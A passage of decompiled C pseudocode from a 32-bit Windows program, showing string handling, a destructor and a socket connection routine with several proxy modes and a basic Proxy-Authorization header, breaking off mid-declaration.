int __usercall sub_40A3D0<eax>(int a1<eax>, int a2<ecx>, int a3<ebx>)
{
  int v4; // eax@1

  v4 = sub_401510(0xFFFFFFFFu, a2, a1, 0);
  *(_DWORD *)(a3 + 16) = 0;
  *(_DWORD *)(a3 + 20) = 15;
  *(_BYTE *)a3 = 0;
  sub_4019A0(v4, a3);
  return a3;
}

//----- (0040A410) --------------------------------------------------------
int __cdecl sub_40A410(int a1, int a2)
{
  void *v2; // eax@1
  unsigned int v3; // edi@1
  int v4; // esi@1
  int v5; // eax@5
  char v7; // cf@4
  signed int v8; // [sp+Ch] [bp-10h]@1
  int v9; // [sp+18h] [bp-4h]@1

  v4 = a1;
  v8 = 0;
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  v9 = 0;
  v3 = *(_DWORD *)(a1 + 16);
  v2 = (void *)(*(_DWORD *)(a2 + 16) + 27);
  v8 = 1;
  if ( v3 <= (unsigned int)v2 )
  {
    if ( *(_DWORD *)(a1 + 20) != (_DWORD)v2 )
    {
      if ( sub_401460(a1, v2, 1) )
      {
        v7 = *(_DWORD *)(v4 + 20) < 0x10u;
        *(_DWORD *)(v4 + 16) = v3;
        if ( v7 )
          v5 = v4;
        else
          v5 = *(_DWORD *)v4;
        *(_BYTE *)(v5 + v3) = 0;
      }
    }
  }
  sub_401270(v4, "Proxy-Authorization: basic ", 0x1Bu);
  sub_401510(0xFFFFFFFFu, v4, a2, 0);
  return v4;
}

//----- (0040A4D0) --------------------------------------------------------
int __usercall sub_40A4D0<eax>(int a1<eax>, int a2<ecx>)
{
  int v3; // esi@1
  int v4; // eax@1

  v3 = a1;
  v4 = sub_401270(a2, "\r\n", 2u);
  *(_DWORD *)(v3 + 20) = 15;
  *(_DWORD *)(v3 + 16) = 0;
  *(_BYTE *)v3 = 0;
  sub_4019A0(v4, v3);
  return v3;
}

//----- (0040A510) --------------------------------------------------------
__int64 __usercall sub_40A510<edx:eax>(__int64 result<edx:eax>)
{
  *(_DWORD *)((_DWORD)result + 16) = 0;
  *(_DWORD *)((_DWORD)result + 20) = 15;
  *(_BYTE *)result = 0;
  *(_DWORD *)((_DWORD)result + 48) = 15;
  *(_DWORD *)((_DWORD)result + 44) = 0;
  *(_BYTE *)((_DWORD)result + 28) = 0;
  *(_DWORD *)((_DWORD)result + 80) = 15;
  *(_DWORD *)((_DWORD)result + 76) = 0;
  *(_BYTE *)((_DWORD)result + 60) = 0;
  *(_DWORD *)((_DWORD)result + 128) = 0;
  *(_DWORD *)((_DWORD)result + 132) = 0;
  *(_DWORD *)((_DWORD)result + 136) = 0;
  *(_DWORD *)((_DWORD)result + 180) = 15;
  *(_DWORD *)((_DWORD)result + 176) = 0;
  *(_BYTE *)((_DWORD)result + 160) = 0;
  *(_DWORD *)((_DWORD)result + 208) = 15;
  *(_DWORD *)((_DWORD)result + 204) = 0;
  *(_BYTE *)((_DWORD)result + 188) = 0;
  *(_DWORD *)((_DWORD)result + 240) = 15;
  *(_DWORD *)((_DWORD)result + 236) = 0;
  *(_BYTE *)((_DWORD)result + 220) = 0;
  *(_DWORD *)((_DWORD)result + 268) = 15;
  *(_DWORD *)((_DWORD)result + 264) = 0;
  *(_BYTE *)((_DWORD)result + 248) = 0;
  *(_DWORD *)((_DWORD)result + 296) = 15;
  *(_DWORD *)((_DWORD)result + 292) = 0;
  *(_BYTE *)((_DWORD)result + 276) = 0;
  *(_DWORD *)((_DWORD)result + 324) = 15;
  *(_DWORD *)((_DWORD)result + 320) = 0;
  *(_BYTE *)((_DWORD)result + 304) = 0;
  *(_DWORD *)((_DWORD)result + 352) = 15;
  *(_DWORD *)((_DWORD)result + 348) = 0;
  *(_BYTE *)((_DWORD)result + 332) = 0;
  *((_DWORD *)&result + 1) = 0;
  *(_WORD *)((_DWORD)result + 56) = 0;
  *(_WORD *)((_DWORD)result + 88) = 0;
  *(_BYTE *)((_DWORD)result + 90) = 0;
  *(_DWORD *)((_DWORD)result + 92) = 0;
  *(_DWORD *)((_DWORD)result + 96) = 0;
  *(_DWORD *)((_DWORD)result + 100) = 0;
  *(_BYTE *)((_DWORD)result + 104) = 0;
  *(_WORD *)((_DWORD)result + 106) = 0;
  *(_BYTE *)((_DWORD)result + 108) = 0;
  *(_DWORD *)((_DWORD)result + 109) = 0;
  *(_DWORD *)((_DWORD)result + 113) = 0;
  *(_DWORD *)((_DWORD)result + 117) = 0;
  *(_DWORD *)((_DWORD)result + 121) = 0;
  *(_DWORD *)((_DWORD)result + 144) = 4096;
  *(_DWORD *)((_DWORD)result + 148) = 0;
  *(_BYTE *)((_DWORD)result + 152) = 0;
  *(_DWORD *)((_DWORD)result + 156) = 0;
  *(_WORD *)((_DWORD)result + 216) = 0;
  *(_BYTE *)((_DWORD)result + 218) = 0;
  *(_DWORD *)((_DWORD)result + 360) = 0;
  *(_DWORD *)((_DWORD)result + 364) = 0;
  return result;
}

//----- (0040A630) --------------------------------------------------------
int __thiscall sub_40A630(int this, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, signed int a15, int a16, int a17, int a18, int a19, int a20, int a21, unsigned int a22, int a23, int a24)
{
  int result; // eax@1
  int v25; // esi@1
  signed int v26; // [sp+14h] [bp-4h]@1

  v25 = this;
  v26 = 2;
  sub_401600(this + 276, -1, 0, (int)&a2);
  *(_DWORD *)(v25 + 304) = a9;
  sub_401600(v25 + 308, -1, 0, (int)&a10);
  result = sub_401600(v25 + 336, -1, 0, (int)&a17);
  *(_DWORD *)(v25 + 364) = a24;
  if ( (unsigned int)a7 >= 0x10 )
    result = operator delete(a2);
  a7 = 15;
  a6 = 0;
  LOBYTE(a2) = 0;
  if ( (unsigned int)a15 >= 0x10 )
    result = operator delete(a10);
  a15 = 15;
  a14 = 0;
  LOBYTE(a10) = 0;
  if ( a22 >= 0x10 )
    result = operator delete(a17);
  return result;
}

//----- (0040A720) --------------------------------------------------------
int __stdcall sub_40A720(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7, int a8, int a9, int a10, int a11, int a12, signed int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22)
{
  int result; // eax@3

  if ( (unsigned int)a13 >= 0x10 )
    operator delete(a8);
  result = 0;
  a13 = 15;
  a12 = 0;
  LOBYTE(a8) = 0;
  if ( a6 >= 0x10 )
    result = operator delete(a1);
  return result;
}

//----- (0040A760) --------------------------------------------------------
int __stdcall sub_40A760(int a1, int a2, int a3, int a4, int a5, signed int a6, int a7, int a8, int a9, int a10, int a11, int a12, unsigned int a13, int a14)
{
  int result; // eax@3

  if ( (unsigned int)a6 >= 0x10 )
    operator delete(a1);
  result = 0;
  a6 = 15;
  a5 = 0;
  LOBYTE(a1) = 0;
  if ( a13 >= 0x10 )
    result = operator delete(a8);
  return result;
}

//----- (0040A7A0) --------------------------------------------------------
int __stdcall sub_40A7A0(int a1, int a2, int a3, int a4, int a5, signed int a6, int a7, int a8, int a9, int a10, int a11, int a12, unsigned int a13, int a14, int a15)
{
  int result; // eax@3

  if ( (unsigned int)a6 >= 0x10 )
    operator delete(a1);
  result = 0;
  a6 = 15;
  a5 = 0;
  LOBYTE(a1) = 0;
  if ( a13 >= 0x10 )
    result = operator delete(a8);
  return result;
}

//----- (0040A7E0) --------------------------------------------------------
int __stdcall sub_40A7E0(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7, int a8, int a9, int a10)
{
  int result; // eax@2

  if ( a6 >= 0x10 )
    result = operator delete(a1);
  return result;
}

//----- (0040A800) --------------------------------------------------------
int __stdcall sub_40A800(int a1, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8)
{
  int result; // eax@2

  if ( a7 >= 0x10 )
    result = operator delete(a2);
  return result;
}

//----- (0040A820) --------------------------------------------------------
int __stdcall sub_40A820(int a1, char a2)
{
  int v2; // edi@1
  int v3; // esi@1
  size_t v5; // eax@4
  int v11; // [sp+18h] [bp-4h]@1

  v2 = a1;
  v3 = a1 + 4;
  *(_DWORD *)(a1 + 4) = 0;
  *(_DWORD *)(a1 + 8) = 0;
  *(_DWORD *)(a1 + 12) = 0;
  v11 = 0;
  sub_405AD0(a1 + 4, 1);
  v5 = *(_DWORD *)v3 - *(_DWORD *)(v3 + 4) + 1;
  if ( v5 )
    memset(*(void **)(v3 + 4), 0, v5);
  *(_DWORD *)(v3 + 4) = *(_DWORD *)v3 + 1;
  **(_BYTE **)v3 = a2;
  *(_WORD *)v2 = 202;
  return v2;
}

//----- (0040AD60) --------------------------------------------------------
int __thiscall sub_40AD60(int this, char a2)
{
  int v2; // esi@1

  v2 = this;
  sub_40AEB0(this);
  if ( a2 & 1 )
    operator delete(v2);
  return v2;
}

//----- (0040AD90) --------------------------------------------------------
int __stdcall sub_40AD90(int a1)
{
  int v2; // esi@1
  int v3; // [sp+18h] [bp-4h]@1
  char v4; // [sp+Ch] [bp-10h]@1

  v2 = a1;
  v3 = 0;
  sub_418C40(**(_DWORD **)(a1 + 4), (int)&v4, a1, **(_DWORD **)(a1 + 4), *(_DWORD *)(a1 + 4));
  return operator delete(*(_DWORD *)(v2 + 4));
}

//----- (0040ADF0) --------------------------------------------------------
int __stdcall sub_40ADF0(int a1)
{
  int v2; // esi@1
  int v3; // [sp+18h] [bp-4h]@1
  char v4; // [sp+Ch] [bp-10h]@1

  v2 = a1;
  v3 = 0;
  sub_418DA0(**(_DWORD **)(a1 + 4), (int)&v4, a1, **(_DWORD **)(a1 + 4), *(_DWORD *)(a1 + 4));
  return operator delete(*(_DWORD *)(v2 + 4));
}

//----- (0040AE50) --------------------------------------------------------
int __stdcall sub_40AE50(int a1)
{
  int v2; // edi@1
  int v3; // [sp+18h] [bp-4h]@1
  char v4; // [sp+Ch] [bp-10h]@1

  v2 = a1;
  v3 = 0;
  sub_418E70(a1, (int)&v4, **(_DWORD **)(a1 + 4), *(_DWORD *)(a1 + 4));
  return operator delete(*(_DWORD *)(v2 + 4));
}

//----- (0040AEB0) --------------------------------------------------------
int __fastcall sub_40AEB0(int a1)
{
  int v1; // ecx@1
  int v2; // edi@1
  int v3; // ecx@3
  int v4; // esi@8
  int (__cdecl *v5)(_DWORD); // ebx@10
  int v6; // ebx@18
  int v7; // edi@18
  int v8; // esi@46
  int v9; // esi@50
  int v10; // esi@54
  int v11; // esi@58
  int result; // eax@62
  int v13; // esi@64
  int v14; // esi@18
  int v15; // eax@47
  int v16; // eax@51
  int v17; // eax@55
  int v18; // eax@59
  int v19; // eax@65
  int v20; // [sp+18h] [bp-10h]@1
  signed int v21; // [sp+24h] [bp-4h]@1
  int v22; // [sp+14h] [bp-14h]@18
  int v23; // [sp+10h] [bp-18h]@18

  v2 = a1;
  v20 = a1;
  *(_DWORD *)a1 = &off_421EE4;
  v21 = 24;
  v1 = *(_DWORD *)(a1 + 532);
  if ( v1 )
  {
    if ( v1 != v2 )
    {
      sub_40C200(v1);
      v3 = *(_DWORD *)(v2 + 532);
      if ( v3 )
        (**(int (__stdcall ***)(_DWORD))v3)(1);
      *(_DWORD *)(v2 + 532) = 0;
    }
  }
  if ( *(_DWORD *)(v2 + 456) >= 0 )
  {
    closesocket(*(_DWORD *)(v2 + 456));
    *(_DWORD *)(v2 + 456) = -1;
  }
  v4 = *(_DWORD *)(v2 + 536);
  if ( v4 )
  {
    if ( *(_DWORD *)v4 )
    {
      sub_41A020(*(_DWORD *)v4, *(_DWORD *)(v4 + 4));
      v5 = operator delete;
      operator delete(*(_DWORD *)v4);
    }
    else
    {
      v5 = operator delete;
    }
    *(_DWORD *)v4 = 0;
    *(_DWORD *)(v4 + 4) = 0;
    *(_DWORD *)(v4 + 8) = 0;
    v5(v4);
  }
  else
  {
    v5 = operator delete;
  }
  if ( *(_DWORD *)(v2 + 632) >= 0x10u )
    v5(*(_DWORD *)(v2 + 612));
  *(_DWORD *)(v2 + 632) = 15;
  *(_DWORD *)(v2 + 628) = 0;
  *(_BYTE *)(v2 + 612) = 0;
  if ( *(_DWORD *)(v2 + 604) >= 0x10u )
    v5(*(_DWORD *)(v2 + 584));
  *(_DWORD *)(v2 + 604) = 15;
  *(_DWORD *)(v2 + 600) = 0;
  *(_BYTE *)(v2 + 584) = 0;
  v22 = v2 + 540;
  LOBYTE(v21) = 25;
  sub_418E70(v2 + 540, (int)&v23, **(_DWORD **)(v2 + 544), *(_DWORD *)(v2 + 544));
  operator delete(*(_DWORD *)(v2 + 544));
  v23 = v2 + 516;
  LOBYTE(v21) = 26;
  sub_418DA0(**(_DWORD **)(v2 + 520), (int)&v22, v2 + 516, **(_DWORD **)(v2 + 520), *(_DWORD *)(v2 + 520));
  operator delete(*(_DWORD *)(v2 + 520));
  v6 = v20;
  v14 = v20 + 500;
  v23 = v20 + 500;
  LOBYTE(v21) = 27;
  sub_418C40(**(_DWORD **)(v20 + 504), (int)&v22, v20 + 500, **(_DWORD **)(v20 + 504), *(_DWORD *)(v20 + 504));
  operator delete(*(_DWORD *)(v14 + 4));
  v7 = 0;
  if ( *(_DWORD *)(v6 + 484) )
    operator delete(*(_DWORD *)(v6 + 484));
  *(_DWORD *)(v6 + 484) = 0;
  *(_DWORD *)(v6 + 488) = 0;
  *(_DWORD *)(v6 + 492) = 0;
  if ( *(_DWORD *)(v6 + 468) )
    operator delete(*(_DWORD *)(v6 + 468));
  *(_DWORD *)(v6 + 468) = 0;
  *(_DWORD *)(v6 + 472) = 0;
  *(_DWORD *)(v6 + 476) = 0;
  if ( *(_DWORD *)(v6 + 444) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 424));
  *(_DWORD *)(v6 + 444) = 15;
  *(_DWORD *)(v6 + 440) = 0;
  *(_BYTE *)(v6 + 424) = 0;
  if ( *(_DWORD *)(v6 + 416) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 396));
  *(_DWORD *)(v6 + 416) = 15;
  *(_DWORD *)(v6 + 412) = 0;
  *(_BYTE *)(v6 + 396) = 0;
  if ( *(_DWORD *)(v6 + 388) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 368));
  *(_DWORD *)(v6 + 388) = 15;
  *(_DWORD *)(v6 + 384) = 0;
  *(_BYTE *)(v6 + 368) = 0;
  if ( *(_DWORD *)(v6 + 356) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 336));
  *(_DWORD *)(v6 + 356) = 15;
  *(_DWORD *)(v6 + 352) = 0;
  *(_BYTE *)(v6 + 336) = 0;
  if ( *(_DWORD *)(v6 + 328) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 308));
  *(_DWORD *)(v6 + 328) = 15;
  *(_DWORD *)(v6 + 324) = 0;
  *(_BYTE *)(v6 + 308) = 0;
  if ( *(_DWORD *)(v6 + 296) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 276));
  *(_DWORD *)(v6 + 296) = 15;
  *(_DWORD *)(v6 + 292) = 0;
  *(_BYTE *)(v6 + 276) = 0;
  if ( *(_DWORD *)(v6 + 268) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 248));
  *(_DWORD *)(v6 + 268) = 15;
  *(_DWORD *)(v6 + 264) = 0;
  *(_BYTE *)(v6 + 248) = 0;
  if ( *(_DWORD *)(v6 + 236) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 216));
  *(_DWORD *)(v6 + 236) = 15;
  *(_DWORD *)(v6 + 232) = 0;
  *(_BYTE *)(v6 + 216) = 0;
  if ( *(_DWORD *)(v6 + 208) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 188));
  *(_DWORD *)(v6 + 208) = 15;
  *(_DWORD *)(v6 + 204) = 0;
  *(_BYTE *)(v6 + 188) = 0;
  if ( *(_DWORD *)(v6 + 180) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 160));
  *(_DWORD *)(v6 + 180) = 15;
  *(_DWORD *)(v6 + 176) = 0;
  *(_BYTE *)(v6 + 160) = 0;
  if ( *(_DWORD *)(v6 + 152) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 132));
  *(_DWORD *)(v6 + 152) = 15;
  *(_DWORD *)(v6 + 148) = 0;
  *(_BYTE *)(v6 + 132) = 0;
  if ( *(_DWORD *)(v6 + 124) >= 0x10u )
    operator delete(*(_DWORD *)(v6 + 104));
  *(_DWORD *)(v6 + 124) = 15;
  *(_DWORD *)(v6 + 120) = 0;
  *(_BYTE *)(v6 + 104) = 0;
  v8 = *(_DWORD *)(v6 + 88);
  if ( v8 )
  {
    v15 = *(_DWORD *)(v6 + 92);
    v20 = *(_DWORD *)(v6 + 92);
    if ( v8 != v15 )
    {
      do
      {
        sub_40C880(v8);
        v8 += 368;
      }
      while ( v8 != v20 );
    }
    operator delete(*(_DWORD *)(v6 + 88));
  }
  *(_DWORD *)(v6 + 88) = 0;
  *(_DWORD *)(v6 + 92) = 0;
  *(_DWORD *)(v6 + 96) = 0;
  v9 = *(_DWORD *)(v6 + 72);
  if ( v9 )
  {
    v16 = *(_DWORD *)(v6 + 76);
    v20 = *(_DWORD *)(v6 + 76);
    if ( v9 != v16 )
    {
      do
      {
        sub_40C880(v9);
        v9 += 368;
      }
      while ( v9 != v20 );
    }
    operator delete(*(_DWORD *)(v6 + 72));
  }
  *(_DWORD *)(v6 + 72) = 0;
  *(_DWORD *)(v6 + 76) = 0;
  *(_DWORD *)(v6 + 80) = 0;
  v10 = *(_DWORD *)(v6 + 56);
  if ( v10 )
  {
    v17 = *(_DWORD *)(v6 + 60);
    v20 = *(_DWORD *)(v6 + 60);
    if ( v10 != v17 )
    {
      do
      {
        sub_40C880(v10);
        v10 += 368;
      }
      while ( v10 != v20 );
    }
    operator delete(*(_DWORD *)(v6 + 56));
  }
  *(_DWORD *)(v6 + 56) = 0;
  *(_DWORD *)(v6 + 60) = 0;
  *(_DWORD *)(v6 + 64) = 0;
  v11 = *(_DWORD *)(v6 + 40);
  if ( v11 )
  {
    v18 = *(_DWORD *)(v6 + 44);
    v20 = *(_DWORD *)(v6 + 44);
    if ( v11 != v18 )
    {
      do
      {
        sub_40C880(v11);
        v11 += 368;
      }
      while ( v11 != v20 );
    }
    operator delete(*(_DWORD *)(v6 + 40));
  }
  *(_DWORD *)(v6 + 40) = 0;
  *(_DWORD *)(v6 + 44) = 0;
  *(_DWORD *)(v6 + 48) = 0;
  result = *(_DWORD *)(v6 + 24);
  if ( result )
  {
    sub_41AE70(result, *(_DWORD *)(v6 + 28));
    result = operator delete(*(_DWORD *)(v6 + 24));
    v7 = 0;
  }
  *(_DWORD *)(v6 + 24) = v7;
  *(_DWORD *)(v6 + 28) = v7;
  *(_DWORD *)(v6 + 32) = v7;
  v13 = *(_DWORD *)(v6 + 8);
  if ( v13 != v7 )
  {
    v19 = *(_DWORD *)(v6 + 12);
    v20 = *(_DWORD *)(v6 + 12);
    if ( v13 != v19 )
    {
      do
      {
        sub_40C880(v13);
        v13 += 368;
      }
      while ( v13 != v20 );
    }
    result = operator delete(*(_DWORD *)(v6 + 8));
  }
  *(_DWORD *)(v6 + 8) = v7;
  *(_DWORD *)(v6 + 12) = v7;
  *(_DWORD *)(v6 + 16) = v7;
  return result;
}

//----- (0040B400) --------------------------------------------------------
char __fastcall sub_40B400(int a1)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST1C_4_0; // ST1C_4@0
  int ST24_4_0; // ST24_4@0
  int ST28_4_0; // ST28_4@0
  int ST2C_4_0; // ST2C_4@0
  int ST30_4_0; // ST30_4@0
  int ST40_4_0; // ST40_4@0
  int ST44_4_0; // ST44_4@0
  int ST48_4_0; // ST48_4@0
  int ST4C_4_0; // ST4C_4@0
  int v14; // ebx@1
  int v15; // ST58_4@1
  int v16; // edi@2
  int v17; // ST34_4@2
  int v18; // ST38_4@2
  int v19; // ST3C_4@2
  int v20; // ST40_4@2
  int v21; // ST44_4@2
  int v22; // ST48_4@2
  int v23; // ST4C_4@2
  unsigned int v24; // ST50_4@2
  int v25; // ST54_4@2
  signed int v26; // eax@3
  int v28; // edi@18
  SOCKET v29; // ST58_4@19
  int v30; // ST20_4@2
  int v31; // ST3C_4@2
  int v32; // ST40_4@2
  int v33; // ST3C_4@2
  int v34; // ST20_4@2
  int v35; // ST24_4@2
  int v36; // ST28_4@2
  int v37; // ST2C_4@2
  int v38; // ST44_4@2
  int v39; // ST48_4@2
  int v40; // ST4C_4@2
  int v41; // ST58_4@2
  char v42; // ST40_1@2
  int v43; // ST24_4@2
  int v44; // ST20_4@2
  int v45; // ST04_4@2
  int v46; // ST08_4@2
  int v47; // ST0C_4@2
  int v48; // ST10_4@2
  int v49; // ST1C_4@2
  int v50; // ST28_4@2
  int v51; // ST2C_4@2
  int v52; // ST30_4@2
  int v53; // ST58_4@2
  int v54; // ST58_4@3
  int v55; // ST58_4@4
  int v56; // ST58_4@5
  int v57; // ST58_4@6
  int v58; // esi@16
  int v59; // edx@25
  u_short v60; // ST50_2@26
  char v61; // bl@26
  int  s; // [sp+364h] [bp+0h]@1
  unsigned int v63; // [sp+354h] [bp-10h]@1
  int v64; // [sp+40h] [bp-324h]@1
  struct WSAData WSAData; // [sp+44h] [bp-320h]@1
  int v66; // [sp+14h] [bp-350h]@2
  int v67; // [sp+18h] [bp-34Ch]@2
  int v68; // [sp+1Ch] [bp-348h]@2
  int v69; // [sp+360h] [bp-4h]@2
  signed int v70; // [sp+34Ch] [bp-18h]@2
  int v71; // [sp+348h] [bp-1Ch]@2
  int v72; // [sp+338h] [bp-2Ch]@2
  int v73; // [sp+24h] [bp-340h]@2
  int v74; // [sp+28h] [bp-33Ch]@2
  int v75; // [sp+2Ch] [bp-338h]@2
  int *v76; // [sp+10h] [bp-354h]@2
  int hostshort; // [sp+38h] [bp-32Ch]@2
  int *v78; // [sp+34h] [bp-330h]@2
  int *v79; // [sp+3Ch] [bp-328h]@2
  char v80; // [sp+254h] [bp-110h]@2
  char v81; // [sp+2D4h] [bp-90h]@2
  char v82; // [sp+1D4h] [bp-190h]@2

  v63 = (unsigned int)& s ^ dword_426018;
  v14 = a1;
  v64 = a1;
  if ( WSAStartup(0x101u, &WSAData) )
    return 0;
  *(_WORD *)(v14 + 244) = 0;
  setLoginHost(byte_4212B9, 0, v14 + 248);
  v66 = 0;
  v67 = 0;
  v68 = 0;
  v69 = 0;
  v70 = 15;
  v71 = 0;
  LOBYTE(v72) = 0;
  v73 = 0;
  v74 = 0;
  v75 = 0;
  LOBYTE(v69) = 2;
  *(_DWORD *)(v14 + 564) = 0;
  LOBYTE(ST40_4_0) = 0;
  v76 = &ST40_4_0;
  hostshort = v14 + 336;
  sub_401600((int)&ST40_4_0, -1, 0, v14 + 336);
  LOBYTE(v69) = 3;
  v16 = v64;
  v78 = &ST24_4_0;
  LOBYTE(ST24_4_0) = 0;
  sub_401600((int)&ST24_4_0, -1, 0, v64 + 308);
  LOBYTE(v69) = 4;
  v30 = *(_DWORD *)(v16 + 304);
  v79 = &ST04_4_0;
  LOBYTE(ST04_4_0) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, v16 + 276);
  LOBYTE(v69) = 2;
  sub_408B90(
    (int)&v80,
    ST04_4_0,
    ST08_4_0,
    ST0C_4_0,
    ST10_4_0,
    0,
    15,
    ST1C_4_0,
    v30,
    ST24_4_0,
    ST28_4_0,
    ST2C_4_0,
    ST30_4_0,
    0,
    15,
    v31,
    ST40_4_0,
    ST44_4_0,
    ST48_4_0,
    ST4C_4_0,
    0,
    0xFu,
    v15);
  LOBYTE(v69) = 5;
  v79 = &ST40_4_0;
  LOBYTE(v32) = 0;
  sub_401600((int)&ST40_4_0, -1, 0, v16 + 308);
  LOBYTE(v69) = 6;
  v33 = *(_DWORD *)(v16 + 304);
  v78 = &v30;
  LOBYTE(v34) = 0;
  sub_401600((int)&v30, -1, 0, v16 + 276);
  LOBYTE(v69) = 5;
  sub_41C690((int)&v81, v34, v35, v36, v37, 0, 15, v18, v33, v32, v38, v39, v40, 0, 0xFu, v41);
  LOBYTE(v69) = 7;
  v79 = &ST40_4_0;
  v42 = 0;
  sub_401600((int)&ST40_4_0, -1, 0, hostshort);
  LOBYTE(v69) = 8;
  v78 = &ST24_4_0;
  LOBYTE(v43) = 0;
  sub_401600((int)&ST24_4_0, -1, 0, v16 + 308);
  LOBYTE(v69) = 9;
  v44 = *(_DWORD *)(v16 + 304);
  v76 = &ST04_4_0;
  LOBYTE(v45) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, v16 + 276);
  LOBYTE(v69) = 7;
  sub_408B90(
    (int)&v82,
    v45,
    v46,
    v47,
    v48,
    0,
    15,
    v49,
    v44,
    v43,
    v50,
    v51,
    v52,
    0,
    15,
    v19,
    v20,
    v21,
    v22,
    v23,
    0,
    0xFu,
    v53);
  LOBYTE(v69) = 10;
  switch ( *(_DWORD *)(v16 + 364) )
  {
    case 0:
      v54 = *(_DWORD *)(v16 + 452);
      v79 = &v19;
      sub_401900(v16 + 424, (int)&v19);
      v26 = sub_411A90(v16, (char *)v19, v20, v21, v22, v23, v24, v25, v54);
      goto LABEL_7;
    case 1:
      v55 = *(_DWORD *)(v16 + 452);
      v79 = &v19;
      sub_401900(v16 + 424, (int)&v19);
      v26 = sub_408DB0((int)&v80, v19, v20, v21, v22, v23, v24, v25, v55);
      goto LABEL_7;
    case 2:
      v56 = *(_DWORD *)(v16 + 452);
      v79 = &v19;
      sub_401900(v16 + 424, (int)&v19);
      v26 = sub_41C830((int)&v81, v19, v20, v21, v22, v23, v24, v25, v56);
      goto LABEL_7;
    case 3:
      v57 = *(_DWORD *)(v16 + 452);
      v79 = &v19;
      sub_401900(v16 + 424, (int)&v19);
      v26 = sub_41CBF0((int)&v82, v19, v20, v21, v22, v23, v24, v25, v57);
LABEL_7:
      *(_DWORD *)(v16 + 456) = v26;
      break;
    default:
      break;
  }
  if ( *(_DWORD *)(v16 + 456) < 0 )
  {
    sub_408D30((int)&v82);
    sub_41C7C0((int)&v81);
    sub_408D30((int)&v80);
    if ( (unsigned int)v70 >= 0x10 )
      operator delete(v72);
    return 0;
  }
  *(_DWORD *)(v16 + 564) += 2;
  if ( sub_411BE0(v16) )
  {
    *(_DWORD *)(v16 + 564) += 2;
    if ( !sub_411D00(v16) )
    {
      v58 = v64;
      closesocket(*(_DWORD *)(v64 + 456));
      *(_DWORD *)(v58 + 456) = -1;
LABEL_17:
      sub_408D30((int)&v82);
      sub_41C7C0((int)&v81);
      sub_408D30((int)&v80);
      sub_405B20((int)&v73);
      sub_401970((int)&v72);
      sub_405B20((int)&v66);
      return 0;
    }
    v28 = v64;
    *(_DWORD *)(v64 + 564) += 2;
    if ( sub_411E10(v64, (int)&v64) )
    {
      *(_DWORD *)(v28 + 564) += 2;
      if ( sub_411FF0(v28, v64, (int)&v66) )
      {
        *(_DWORD *)(v28 + 564) += 2;
        if ( !sub_412170(v28, (int)&v66, (int)&v64) )
        {
          v29 = *(_DWORD *)(v28 + 456);
          goto LABEL_20;
        }
        v59 = v64;
        *(_DWORD *)(v28 + 564) += 2;
        if ( sub_4129E0(v28, (int)&hostshort, v59, (int)&v72, (int)&v73) )
        {
          *(_DWORD *)(v28 + 564) += 2;
          sub_412C30(v28);
          closesocket(*(_DWORD *)(v28 + 456));
          v60 = hostshort;
          *(_DWORD *)(v28 + 456) = -1;
          v79 = &v17;
          sub_401900((int)&v72, (int)&v17);
          v61 = sub_40B980(v28, v17, v18, v19, v20, v21, v22, v23, v60, (int)&v73, 0);
          sub_408D30((int)&v82);
          sub_41C7C0((int)&v81);
          sub_408D30((int)&v80);
          sub_405B20((int)&v73);
          sub_401970((int)&v72);
          sub_405B20((int)&v66);
          return v61;
        }
      }
      v29 = *(_DWORD *)(v28 + 456);
    }
    else
    {
      v29 = *(_DWORD *)(v28 + 456);
    }
LABEL_20:
    closesocket(v29);
    *(_DWORD *)(v28 + 456) = -1;
    goto LABEL_17;
  }
  closesocket(*(_DWORD *)(v16 + 456));
  *(_DWORD *)(v16 + 456) = -1;
  sub_408D30((int)&v82);
  sub_41C7C0((int)&v81);
  sub_408D30((int)&v80);
  if ( (unsigned int)v70 < 0x10 )
    return 0;
  operator delete(v72);
  return 0;
}

//----- (0040B980) --------------------------------------------------------
char __thiscall sub_40B980(int this, int a2, int a3, int a4, int a5, int a6, int a7, int a8, u_short hostshort, int a10, char a11)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST1C_4_0; // ST1C_4@0
  int ST24_4_0; // ST24_4@0
  int ST28_4_0; // ST28_4@0
  int ST2C_4_0; // ST2C_4@0
  int ST30_4_0; // ST30_4@0
  int ST40_4_0; // ST40_4@0
  int ST44_4_0; // ST44_4@0
  int ST48_4_0; // ST48_4@0
  int ST4C_4_0; // ST4C_4@0
  int ST58_4_0; // ST58_4@0
  int v25; // edi@1
  int v26; // ST3C_4@1
  int v27; // ST40_4@1
  int v28; // ST44_4@1
  int v29; // ST48_4@1
  int v30; // ST54_4@1
  signed int v31; // esi@2
  signed int v32; // eax@3
  SOCKET v34; // ST58_4@17
  int v35; // ecx@24
  signed int v36; // eax@28
  signed int v37; // eax@29
  signed int v38; // eax@30
  signed int v39; // eax@31
  signed int v40; // eax@32
  signed int v41; // eax@33
  int v42; // ecx@34
  int v43; // ecx@35
  int v44; // ecx@36
  int v45; // ecx@37
  int v46; // ecx@38
  SOCKET v47; // ST58_4@39
  int v48; // ecx@44
  int v49; // ST20_4@1
  int v50; // ST3C_4@1
  int v51; // ST40_4@1
  int v52; // ST3C_4@1
  int v53; // ST20_4@1
